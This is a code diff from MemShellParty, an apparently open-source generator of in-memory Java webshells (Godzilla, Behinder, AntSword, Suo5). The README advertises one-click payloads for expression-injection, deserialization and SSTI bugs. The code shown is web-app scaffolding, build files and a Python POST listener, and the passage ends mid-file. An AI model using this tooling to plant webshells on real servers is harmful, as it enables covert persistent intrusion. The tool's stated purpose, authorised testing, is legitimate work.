 > 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法，使用者需自行承担相应的法律责任。
 
 > [!TIP]
 > 由于本人仅是安全产品研发，无实战经验，如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
-> 交流群，欢迎一起学习交流
+> 交流群，欢迎一起学习交流。
 
-MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台，并且致力于打造内存马的全方位的学习平台。
-在遍地是轮子的时代，是时候造车，带着大伙加速冲冲冲了。
+MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具，致力于简化安全研究人员和红队成员的工作流程，提升攻防效率。
 
-MemShellParty 出现的原因有以下几个：
-
-1. 工作中有时候客户会有个别中间件的内存马测试需求，这个时候临时写一个太慢又太烦，在不忙的时候做一个工具，有需求就生成一个多好（之前用 [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
-生成一个 WAS 的内存马不能用，调了半天修好了）。
-2. 写 [Javassist](https://www.javassist.org/) 实在是太多了，字符串拼接的方式去弄方法 code
-   实在是看得眼睛疼，又不好维护，代码组织合理的话其实都可以，不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)，高封装提供的
-   API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快，而且很多中间件也自带依赖直接能打。
-3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
-   的出现确实帮大忙了，但是其极少的交互逻辑对于一个应用来说是难以接受的，刚好学习了前端对 UX 也感兴趣（对 Desktop
-   应用无感），必须得整一个玩玩。
-4. 因为对自动化测试特别感兴趣，刚好找到了 [Testcontainers](https://testcontainers.com/)
-   ，并且看了一圈武器化工具基本都是无测试的，所以尝试写写可行的集成测试分享分享，被测试包裹的代码，修改起来信心也大，同时也希望这个项目能长久发展。
-5. 特别多的师傅写了 Java 内存马相关的项目，不过都慢慢就不维护了（或者不公开代码了），我举手来整合一下，嘿嘿。
-
-希望你能从这个项目学会或尝试做的：
-
-1. 学会编写常见中间件框架的内存马编写方式。
-2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
-3. 学会使用 GitHub Actions 编写 CI/CD，编写 CHANGELOG 并通过 CI 自动发布 Release。
-4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类，编写 Agent。
-5. 尝试使用 Gradle 构建 Java 项目（platform 编写依赖版本管理，toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译）
-
-![normal_generator](asserts/normal_generator.png)
-
-![agent_generator](asserts/agent_generator.png)
+<p align="center">
+  <img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
+  <img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
+  <img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
+  <img src="assets/about_page.png" alt="about_page" width="24%">
+</p>
 
 ## 主要特性
 
-- 无侵入性：生成的内存马不会影响目标中间件正常流量，即使同时注入十几个不同的内存马。
-- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
-- 最小化: 尽可能精简内存马大小，高效传输。
-- 强兼容性: 覆盖攻防场景下常见中间件和框架。
+- **无侵入性**：生成的内存马不会影响目标中间件正常流量，即使同时注入十几个不同的内存马。
+- **强兼容性**：覆盖攻防场景下常见中间件和框架，以及 JDK 适配 JDK6 ~ JDK21。
+- **高可用性**：对所有支持的中间件框架建立了全面的自动化测试矩阵，确保每一次生成的载荷都具备最高的可用性和稳定性，杜绝实战中的不确定性。
+- **极致轻量化**：通过深度优化的字节码生成策略，MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小，常规内存马缩小了
+  **30%**，Agent 内存马采用 ASM 技术缩小了 **80%**。
+- **傻瓜一键化**：内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
+  模块限制配置，动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
+- **高灵活性**：原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能，通过高度灵活的自定义内存马上传功能，可以将任何定制化载荷融入
+  MemShellParty 的生成体系，打造最贴合自身战术需求的攻击平台。
 
 ## 快速使用
 
+### 使用前必看
+
+[Java 服务简介.md](web/content/docs/server-intro.mdx)，用于了解 MemShellParty
+中针对各个服务适配的情况，针对不同的应用选择合适的服务类型。
+
+探测马中探测服务类型已经做了一一对应，探测出来的服务类型，即是可生成内存马的服务类型（非中间件类型，例如 Apusic10 探测出来的结果为
+GlassFish，因为它使用的是 GlassFish 进行的二开）。
+
 ### 在线站点
 
-可直接访问 https://party.memshell.news （没做加速，搭建在 [Northflank](https://northflank.com/) US
-节点上，访问较慢，Thanks [@xcxmiku](https://github.com/xcxmiku)），每次 Release 都会自动部署最新的镜像。
+> 仅限尝鲜的小伙伴，对于其他暴露在公网的服务请谨慎使用，小心生成的内存马带后门
+
+可访问（master 分支） [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
+
+对于正在开发的功能可访问（dev 分支）  [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
 
 ### 本地部署（推荐）
 
+> 适合内网或本地快速部署，直接使用 Docker 启动服务方便快捷
+
 使用 docker 部署之后访问 http://127.0.0.1:8080
 
 ```bash
@@ -72,109 +78,10 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
 docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
 ```
 
-镜像是无状态的，在需要更新最新镜像时，直接移除新建就好了
-
-```bash
-# 移除之前部署的
-docker rm -f memshell-party
-
-# 使用之前的部署命令，重新部署（会自动拉取最新的镜像部署）
-docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
-```
-
-## 适配情况
-
-已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
-
-### 中间件以及框架
-
-| Tomcat（5 ~ 11）       | Jetty（6 ~ 11）          | GlassFish（3 ~ 7）     | Payara（5 ~ 6）        |
-|----------------------|------------------------|----------------------|----------------------|
-| Servlet              | Servlet                | Filter               | Filter               |
-| Filter               | Filter                 | Listener             | Listener             |
-| Listener             | Listener               | Valve                | Valve                |
-| Valve                | ServletHandler - Agent | FilterChain - Agent  | FilterChain - Agent  |
-| FilterChain - Agent  |                        | ContextValve - Agent | ContextValve - Agent |
-| ContextValve - Agent |                        |                      |                      |
-
-| Resin（3 ~ 4）        | SpringMVC                | SpringWebFlux   | XXL-JOB      |
-|---------------------|--------------------------|-----------------|--------------|
-| Servlet             | Interceptor              | WebFilter       | NettyHandler |
-| Filter              | ControllerHandler        | HandlerMethod   |              |
-| Listener            | FrameworkServlet - Agent | HandlerFunction |              |
-| FilterChain - Agent |                          | NettyHandler    |              |
-
-| JBossAS（4 ~ 7）       | JBossEAP（6 ~ 7）            | WildFly（9 ~ 30）        | Undertow               |
-|----------------------|----------------------------|------------------------|------------------------|
-| Filter               | Filter                     | Servlet                | Servlet                |
-| Listener             | Listener                   | Filter                 | Filter                 |
-| Valve                | Valve(6)                   | Listener               | Listener               |
-| FilterChain - Agent  | FilterChain - Agent (6)    | ServletHandler - Agent | ServletHandler - Agent |
-| ContextValve - Agent | ContextValve - Agent (6)   |                        |                        |
-|                      | ServletHandler - Agent (7) |                        |                        |
-
-| WebSphere（7 ~ 9）      | WebLogic （10.3.6  ~ 14） |
-|-----------------------|-------------------------|
-| Servlet               | Servlet                 |
-| Filter                | Filter                  |
-| Listener              | Listener                |
-| FilterManager - Agent | ServletContext - Agent  |
-
-| BES（9.5.x）           | TongWeb（6 ~ 7）       | InforSuite AS （9 ~ 10） | Apusic AS （9） |
-|----------------------|----------------------|------------------------|---------------|
-| Filter               | Filter               | Filter                 | Servlet       |
-| Listener             | Listener             | Listener               | Filter        |
-| Valve                | Valve                | Valve                  | Listener      |
-| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |               |
-| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |               |
-
-### 内存马功能
-
-- [x] Godzilla 哥斯拉
-- [x] Behinder 冰蝎
-- [x] 命令执行
-- [x] Suo5
-- [x] AntSword 蚁剑
-- [ ] Neo-reGeorg
-- [ ] Custom
-
-### 封装方式
-
-- [x] BASE64
-- [x] GZIP BASE64
-- [x] JSP
-- [x] JSPX
-- [x] JAR
-- [x] BCEL
-- [x] 内置脚本引擎、Rhino 脚本引擎
-- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
-- [x] Velocity、Freemarker、JinJava
-- [x] 原生反序列化（CB4）
-- [x] Agent
-- [x] XXL-JOB Executor
-- [ ] JNDI
-- [ ] JDBC 连接
-- [ ] 其他常见反序列化
-
-## How
-
-1. 如何使用 bytebuddy 生成类，为属性赋值，添加方法，指定位置调用方法？（**WIP**）
-2. 如何调试内存马，为什么内存马注入了却不可用？（**WIP**）
-
-## Contribute
-
-> 你的任何反馈以及 issue 交流都是对当前项目的贡献
-
-> It will be so nice if you want to contribute. 🎉
-
-1. 如果你有高超的 Docker 环境构建技术，可以尝试添加 CVE 相关的集成测试用例。
-2. 如果你有高超的内存马编写技术，可以尝试添加一个内存马试试。
-3. 如果你有丰富的实战经验，可以尝试写写 issue 来提提建议。
-
-项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
-
-## Thanks
+## Special Thanks
 
+- [vulhub/java-chains](https://github.com/vulhub/java-chains)
 - [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
+- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
 
-### Let's start the party 🎉
+### Let's start the party 🎉

assets/http_post_server.py

@@ -0,0 +1,35 @@
+import http.server
+import socketserver
+
+PORT = 8000
+TARGET_PATH = "/api/v1/data"
+
+
+class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
+    def do_POST(self):
+        if self.path == TARGET_PATH:
+            try:
+                content_length = int(self.headers['Content-Length'])
+                post_data_bytes = self.rfile.read(content_length)
+                post_data_str = post_data_bytes.decode('utf-8')
+                print("-----------------------------\n")
+                print(f"Client IP: {self.client_address}")
+                print(f"Request Header:\n{self.headers}")
+                print(f"Request Body:\n{post_data_str}")
+                print("-----------------------------\n")
+                self.send_response(200)
+                self.send_header('Content-type', 'application/json')
+                self.end_headers()
+                response_message = '{"status": "success"}'
+                self.wfile.write(response_message.encode('utf-8'))
+            except Exception as e:
+                print(f"Parse POST failed: {e}")
+                self.send_response(500)
+        else:
+            print("Make sure use " + TARGET_PATH + " rather than " + self.path)
+            self.send_response(404)
+
+
+with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
+    print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
+    httpd.serve_forever()

assets/k6test.js

@@ -0,0 +1,16 @@
+import http from 'k6/http';
+import {check, sleep} from 'k6';
+
+export const options = {
+    rps: 4500,
+    vus: 10,
+    duration: '5m',
+};
+
+export default function () {
+    const res = http.get('http://localhost:8082/app/test');
+    check(res, {
+        'status is 200': (r) => r.status === 200,
+    });
+    sleep(1);
+}

assets/neoreg/Dockerfile

@@ -0,0 +1,9 @@
+FROM python:3.12-slim
+
+WORKDIR /app
+
+RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
+
+COPY neoreg.py .
+
+CMD ["tail", "-f", "/dev/null"]

bom/build.gradle

@@ -1,37 +0,0 @@
-plugins {
-    id 'java-platform'
-}
-
-dependencies {
-    constraints {
-        api 'net.bytebuddy:byte-buddy:1.+'
-
-        api 'javax.servlet:javax.servlet-api:3.0.1'
-        api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
-        api 'javax.websocket:javax.websocket-api:1.1'
-
-        api 'org.springframework:spring-webmvc:5.3.24'
-        api 'org.springframework:spring-webflux:5.3.24'
-        api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
-
-        api 'commons-io:commons-io:2.+'
-        api 'org.apache.commons:commons-lang3:3.+'
-        api 'commons-codec:commons-codec:1.+'
-        api 'ch.qos.logback:logback-classic:1.+'
-
-        api 'xalan:xalan:2.7.0'
-        api 'org.apache.bcel:bcel:5.2'
-
-        api 'org.java-websocket:Java-WebSocket:1.5.7'
-        api 'com.squareup.okhttp3:okhttp:4.+'
-        api 'com.alibaba.fastjson2:fastjson2:2.0.53'
-
-        api 'org.jetbrains:annotations:26.0.1'
-
-        api "org.mockito:mockito-core:5.+"
-        api 'org.hamcrest:hamcrest:3.0'
-        api 'org.junit:junit-bom:5.10.0'
-        api 'org.testcontainers:testcontainers:1.20.4'
-        api 'org.testcontainers:junit-jupiter:1.20.4'
-    }
-}

boot/.gitignore

@@ -4,6 +4,8 @@ build/
 !gradle/wrapper/gradle-wrapper.jar
 !**/src/main/**/build/
 !**/src/test/**/build/
+src/main/resources/static/
+src/main/resources/templates/
 
 ### STS ###
 .apt_generated

boot/Dockerfile

@@ -1,17 +1,22 @@
-FROM eclipse-temurin:17-jre
-
-ARG VERSION=1.0.0
-
-ENV VERSION=$VERSION
+FROM eclipse-temurin:17.0.17_10-jre-noble
 
 LABEL authors="ReaJason<[email protected]>"
 
 WORKDIR /app
-COPY build/libs/boot-${VERSION}.jar app.jar
 
-ENV JAVA_OPTS="" \
-    INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
+RUN groupadd -r spring && \
+    useradd -r -g spring spring
+
+COPY --chown=spring:spring build/libs/*.jar app.jar
+
+USER spring:spring
+
+ENV INTERNAL_JAVA_OPTS="\
+    -Djava.security.egd=file:/dev/./urandom -Dfastison.parser.safeMode=true \
+    --add-opens=java.base/java.util=ALL-UNNAMED \
+    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+    --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
 
 EXPOSE 8080
 
-ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar
+ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]

boot/build.gradle

@@ -1,71 +0,0 @@
-plugins {
-    id 'java'
-    id 'org.springframework.boot' version '3.4.0'
-    id 'io.spring.dependency-management' version '1.1.6'
-}
-
-group = 'com.reajason.javaweb'
-version = rootProject.version
-
-java {
-    toolchain {
-        languageVersion = JavaLanguageVersion.of(17)
-    }
-}
-
-def runtimeJvmArgs = [
-        '--add-opens=java.base/java.util=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-        '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-]
-
-tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
-
-tasks.withType(JavaCompile).configureEach {
-    options.compilerArgs += [
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
-            '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
-    ]
-}
-
-tasks.withType(Test).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
-// For running the application
-tasks.withType(JavaExec).configureEach {
-    jvmArgs += runtimeJvmArgs
-}
-
-configurations {
-    compileOnly {
-        extendsFrom annotationProcessor
-    }
-}
-
-dependencies {
-    implementation(project(":generator")) {
-        exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
-        exclude group: 'commons-logging', module: 'commons-logging'
-    }
-    implementation(project(":deserialize")) {
-        exclude group: 'commons-logging', module: 'commons-logging'
-    }
-    implementation 'org.apache.bcel:bcel'
-    implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
-    implementation('org.springframework.boot:spring-boot-starter-web') {
-        exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
-    }
-    implementation 'org.springframework.boot:spring-boot-starter-undertow'
-    implementation 'com.google.code.gson:gson:2.11.0'
-    compileOnly 'org.projectlombok:lombok'
-    developmentOnly 'org.springframework.boot:spring-boot-devtools'
-    annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
-    annotationProcessor 'org.projectlombok:lombok'
-    testImplementation 'org.springframework.boot:spring-boot-starter-test'
-    testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
-}
-
-tasks.named('test') {
-    useJUnitPlatform()
-}

boot/build.gradle.kts

@@ -0,0 +1,47 @@
+plugins {
+    id("java")
+    id("org.springframework.boot") version "3.5.11"
+    id("io.spring.dependency-management") version "1.1.7"
+}
+
+group = "io.github.reajason"
+version = rootProject.version
+
+java {
+    toolchain {
+        languageVersion = JavaLanguageVersion.of(17)
+    }
+}
+
+tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
+
+configurations {
+    compileOnly {
+        extendsFrom(configurations.annotationProcessor.get())
+    }
+}
+
+extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
+
+dependencies {
+    implementation(project(":generator")) {
+        exclude(group = "commons-logging", module = "commons-logging")
+        exclude(group = "com.reajason.javaweb", module = "thirdparty-tomcat")
+    }
+    implementation(project(":packer")) {
+        exclude(group = "commons-logging", module = "commons-logging")
+    }
+    implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
+    implementation("org.springframework.boot:spring-boot-starter-web")
+    implementation(libs.commons.lang3)
+    compileOnly("org.projectlombok:lombok")
+    developmentOnly("org.springframework.boot:spring-boot-devtools")
+    annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
+    annotationProcessor("org.projectlombok:lombok")
+    testImplementation("org.springframework.boot:spring-boot-starter-test")
+    testRuntimeOnly("org.junit.platform:junit-platform-launcher")
+}
+
+tasks.test {
+    useJUnitPlatform()
+}

boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.boot;
 
+import lombok.extern.slf4j.Slf4j;
 import org.springframework.boot.SpringApplication;
 import org.springframework.boot.autoconfigure.SpringBootApplication;
 
@@ -7,11 +8,10 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
  * @author ReaJason
  */
 @SpringBootApplication
+@Slf4j
 public class BootApplication {
 
     public static void main(String[] args) {
-
         SpringApplication.run(BootApplication.class, args);
     }
-
 }

boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java

@@ -1,10 +1,13 @@
 package com.reajason.javaweb.boot.api;
 
+import com.reajason.javaweb.GenerationException;
 import lombok.extern.slf4j.Slf4j;
 import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.ExceptionHandler;
 import org.springframework.web.bind.annotation.ResponseStatus;
 import org.springframework.web.bind.annotation.RestControllerAdvice;
+import org.springframework.web.servlet.resource.NoResourceFoundException;
 
 /**
  * @author ReaJason
@@ -13,10 +16,29 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
 @RestControllerAdvice
 @Slf4j
 public class GlobalExceptionHandler {
+
+    @ResponseStatus(HttpStatus.NOT_FOUND)
+    @ExceptionHandler(NoResourceFoundException.class)
+    public ResponseEntity<?> handleNoResourceException() {
+        return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
+    }
+
+    @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
+    @ExceptionHandler(GenerationException.class)
+    public ErrorResponse handleGenerationException(GenerationException exception) {
+        return new ErrorResponse(exception.getMessage());
+    }
+
+    @ResponseStatus(HttpStatus.BAD_REQUEST)
+    @ExceptionHandler(IllegalArgumentException.class)
+    public ErrorResponse handleIllegalArgumentException(IllegalArgumentException exception) {
+        return new ErrorResponse(exception.getMessage());
+    }
+
     @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
     @ExceptionHandler(Throwable.class)
     public ErrorResponse handleThrowable(Throwable throwable) {
-        log.error("请求出错", throwable);
+        log.error("Internal Exception", throwable);
         return new ErrorResponse(throwable.getMessage());
     }
 }

boot/src/main/java/com/reajason/javaweb/boot/config/WebConfig.java

@@ -0,0 +1,21 @@
+package com.reajason.javaweb.boot.config;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.http.client.SimpleClientHttpRequestFactory;
+import org.springframework.web.client.RestTemplate;
+
+/**
+ * @author ReaJason
+ */
+@Configuration
+public class WebConfig {
+
+    @Bean
+    public RestTemplate restTemplate() {
+        SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
+        factory.setConnectTimeout(3000);
+        factory.setReadTimeout(3000);
+        return new RestTemplate(factory);
+    }
+} 

boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.boot.controller;
+
+import org.springframework.asm.ClassReader;
+import org.springframework.cglib.core.ClassNameReader;
+import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/10
+ */
+@RestController
+@CrossOrigin("*")
+public class ClassNameParseController {
+
+    @PostMapping("/api/className")
+    public String className(@RequestBody String classBase64) {
+        return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
+    }
+}

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

@@ -1,58 +1,143 @@
 package com.reajason.javaweb.boot.controller;
 
-import com.reajason.javaweb.boot.entity.Config;
-import com.reajason.javaweb.memshell.AbstractShell;
-import com.reajason.javaweb.memshell.config.Server;
-import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packers;
-import org.springframework.http.ResponseEntity;
+import com.reajason.javaweb.boot.vo.CommandConfigVO;
+import com.reajason.javaweb.memshell.ServerFactory;
+import com.reajason.javaweb.memshell.config.CommandConfig;
+import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.packer.Packers;
 import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
 import java.util.*;
-import java.util.stream.Collectors;
 
 /**
  * @author ReaJason
  * @since 2024/12/13
  */
 @RestController
-@RequestMapping("/config")
+@RequestMapping("/api/config")
 @CrossOrigin("*")
 public class ConfigController {
-    @RequestMapping
-    public ResponseEntity<?> config() {
-        Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
-        for (Server value : Server.values()) {
-            AbstractShell shell = value.getShell();
-            if (shell == null) {
-                continue;
+
+    @RequestMapping("/servers")
+    public Map<String, List<String>> getServers() {
+        Map<String, List<String>> servers = new LinkedHashMap<>();
+        List<String> supportedServers = ServerFactory.getSupportedServers();
+        for (String supportedServer : supportedServers) {
+            Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
+                    .getShellInjectorMapping().getSupportedShellTypes();
+            servers.put(supportedServer, supportedShellTypes.stream().toList());
+        }
+        return servers;
+    }
+
+    @RequestMapping("/packers")
+    public List<PackerCategoryDTO> getPackers() {
+        List<PackerCategoryDTO> result = new ArrayList<>();
+        for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
+            PackerCategoryDTO category = new PackerCategoryDTO();
+            category.setName(entry.getKey());
+            List<PackerOptionDTO> options = new ArrayList<>();
+            for (Packers packer : entry.getValue()) {
+                PackerOptionDTO option = new PackerOptionDTO();
+                option.setName(packer.name());
+                option.setOutputKind(packer.getOutputKind());
+                option.setCategoryAnchor(packer.hasChildren());
+                option.setSchema(packer.getSchema());
+                options.add(option);
             }
-            ShellTool[] supportedShellTools = ShellTool.values();
-            Map<String, List<String>> map = new LinkedHashMap<>(16);
-            for (ShellTool shellTool : supportedShellTools) {
-                List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
+            category.setPackers(options);
+            result.add(category);
+        }
+        return result;
+    }
+
+    @RequestMapping
+    public Map<String, Map<?, ?>> config() {
+        Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
+        List<String> supportedServers = ServerFactory.getSupportedServers();
+        for (String supportedServer : supportedServers) {
+            AbstractServer server = ServerFactory.getServer(supportedServer);
+            Map<String, Set<String>> map = new LinkedHashMap<>(16);
+            for (String shellTool : server.getSupportedShellTools()) {
+                Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
                 if (supportedShellTypes.isEmpty()) {
                     continue;
                 }
-                map.put(shellTool.name(), supportedShellTypes);
+                map.put(shellTool, supportedShellTypes);
             }
-            coreMap.put(value.name(), map);
+            coreMap.put(supportedServer, map);
         }
-        Config config = new Config();
-        config.setServers(
-                Arrays.stream(Server.values())
-                        .filter(s -> s.getShell() != null)
-                        .map(Server::name)
-                        .collect(Collectors.toList())
-        );
-        config.setCore(coreMap);
-        config.setPackers(
-                Arrays.stream(Packers.values())
-                        .filter(packers -> packers.getParentPacker() == null)
-                        .map(Packers::name).toList()
-        );
-        return ResponseEntity.ok(config);
+        return coreMap;
     }
-}
+
+    @GetMapping("/command/configs")
+    public CommandConfigVO getCommandConfigs() {
+        CommandConfigVO commandConfigVO = new CommandConfigVO();
+        commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
+        commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
+        return commandConfigVO;
+    }
+
+    public static class PackerCategoryDTO {
+        private String name;
+        private List<PackerOptionDTO> packers;
+
+        public String getName() {
+            return name;
+        }
+
+        public void setName(String name) {
+            this.name = name;
+        }
+
+        public List<PackerOptionDTO> getPackers() {
+            return packers;
+        }
+
+        public void setPackers(List<PackerOptionDTO> packers) {
+            this.packers = packers;
+        }
+    }
+
+    public static class PackerOptionDTO {
+        private String name;
+        private String outputKind;
+        private boolean categoryAnchor;
+        private Object schema;
+
+        public String getName() {
+            return name;
+        }
+
+        public void setName(String name) {
+            this.name = name;
+        }
+
+        public String getOutputKind() {
+            return outputKind;
+        }
+
+        public void setOutputKind(String outputKind) {
+            this.outputKind = outputKind;
+        }
+
+        public boolean isCategoryAnchor() {
+            return categoryAnchor;
+        }
+
+        public void setCategoryAnchor(boolean categoryAnchor) {
+            this.categoryAnchor = categoryAnchor;
+        }
+
+        public Object getSchema() {
+            return schema;
+        }
+
+        public void setSchema(Object schema) {
+            this.schema = schema;
+        }
+    }
+}

boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java

@@ -1,41 +0,0 @@
-package com.reajason.javaweb.boot.controller;
-
-import com.reajason.javaweb.GeneratorMain;
-import com.reajason.javaweb.boot.dto.GenerateRequest;
-import com.reajason.javaweb.boot.dto.GenerateResponse;
-import com.reajason.javaweb.memshell.config.GenerateResult;
-import com.reajason.javaweb.memshell.config.InjectorConfig;
-import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.packer.AggregatePacker;
-import com.reajason.javaweb.memshell.packer.Packer;
-import com.reajason.javaweb.memshell.packer.jar.JarPacker;
-import org.springframework.http.ResponseEntity;
-import org.springframework.web.bind.annotation.*;
-
-import java.util.Base64;
-
-/**
- * @author ReaJason
- * @since 2024/12/18
- */
-@RestController
-@RequestMapping("/generate")
-@CrossOrigin("*")
-public class GeneratorController {
-    @PostMapping
-    public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
-        ShellConfig shellConfig = request.getShellConfig();
-        ShellToolConfig shellToolConfig = request.parseShellToolConfig();
-        InjectorConfig injectorConfig = request.getInjectorConfig();
-        GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
-        Packer packer = request.getPacker().getInstance();
-        if (packer instanceof JarPacker) {
-            return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
-        } else if (packer instanceof AggregatePacker) {
-            return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
-        } else {
-            return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
-        }
-    }
-}

boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java

@@ -0,0 +1,47 @@
+package com.reajason.javaweb.boot.controller;
+
+import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
+import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
+import com.reajason.javaweb.memshell.MemShellGenerator;
+import com.reajason.javaweb.memshell.MemShellResult;
+import com.reajason.javaweb.memshell.config.InjectorConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.config.ShellToolConfig;
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.JarPacker;
+import com.reajason.javaweb.packer.JarPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+import org.springframework.web.bind.annotation.*;
+
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/18
+ */
+@RestController
+@RequestMapping("/api/memshell/generate")
+@CrossOrigin("*")
+public class MemShellGeneratorController {
+
+    @PostMapping
+    public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
+        ShellConfig shellConfig = request.getShellConfig();
